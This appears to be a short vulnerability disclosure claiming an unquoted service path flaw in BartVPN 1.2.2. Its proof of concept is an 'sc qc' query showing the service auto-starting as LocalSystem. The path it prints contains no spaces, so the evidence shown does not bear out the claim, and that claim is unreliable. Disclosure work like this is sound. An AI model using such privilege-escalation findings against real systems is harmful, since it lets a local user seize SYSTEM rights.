BartVPN 1.2.2 - (BartVPNService) Unquoted Service Path Vulnerability

#Exploit Title: BartVPN 1.2.2 - 'BartVPNService' Unquoted Service Path
#Exploit Author : ZwX
#Exploit Date: 2019-11-18
#Vendor Homepage : https://www.filehorse.com/
#Link Software : https://www.filehorse.com/download-bartvpn/
#Tested on OS: Windows 7


#Analyze PoC :
==============


C:\Users\ZwX>sc qc BartVPNService
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: BartVPNService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\ZwX\AppData\Local\BartVPN\BartVPNService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : BartVPNService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem